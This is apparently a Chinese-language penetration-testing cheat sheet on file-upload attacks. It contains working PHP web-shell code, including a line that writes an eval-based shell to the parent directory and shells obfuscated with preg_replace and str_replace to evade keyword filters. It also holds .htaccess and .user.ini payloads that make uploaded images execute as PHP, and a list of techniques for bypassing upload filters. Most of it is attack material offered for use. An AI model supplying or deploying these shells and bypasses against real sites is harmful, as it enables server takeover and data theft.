写马的马

往上级目录写一个马,试用当前目录每隔一段时间就会删文件的情况。

  1. <?php fputs(fopen("../shell.php","w"),"<?php @eval($_POST[a]);?>")?>

绕过

  • 抓包或禁用js:主要绕过前端js验证。
  • 空格绕过:后缀加空格,主要是针对Windows。
  • 点绕过:后缀加.
  • 点+空格+点:组合起来。
  • ::$DATA:后缀加上,主要是针对Windows。
  • 双写:绕过关键词过滤。
  • 大小写:绕过固定关键词检测。
  • 双重后缀:主要配合解析漏洞,iis(test.php;.jpg,test.php/x.gif),apache(test.php.x.x)。
  • 特殊后缀:php2,php3,php4,php5,php7,pht,phtm,phtml。
  • 文件流:修改Content-Type为image/jpeg,image/gif等。
  • %00截断:test.php%00.jpg,然后将%00进行url decode。
  • .htaccess:内容为如下,其中,test.gif是接下来要传上去的带马文件。

    1. <FilesMatch "test.gif">
    2. SetHandler application/x-httpd-php
    3. </FilesMatch>
  • .user.ini:适用范围比.htaccess更广泛。内容为:

    1. GIF89a
    2. auto_prepend_file=a.jpg
  • 如果检测了关键词,比如<?,eval,assert,GET,POST等:

    1. <script language="php">
    2. @preg_replace("/abcde/e", $_REQUEST['a'], "abcdefg");
    3. </script>

因为preg_replace是正则匹配函数,第一个参数是匹配在两个/中间的字符串,但是如果后面加了个e,那么第二个参数将可以当成命令来执行,第三个参数是要匹配的字符串,包含有第一个参数要匹配的字符串即可。但是只能代码执行,不能命令执行,也就是不能连蚁剑等。
或者利用str_replace

  1. <script language="php">
  2. $a=str_replace("Waldo", "", "eWaldoval");
  3. $a(@$_REQUEST['a']);
  4. </script>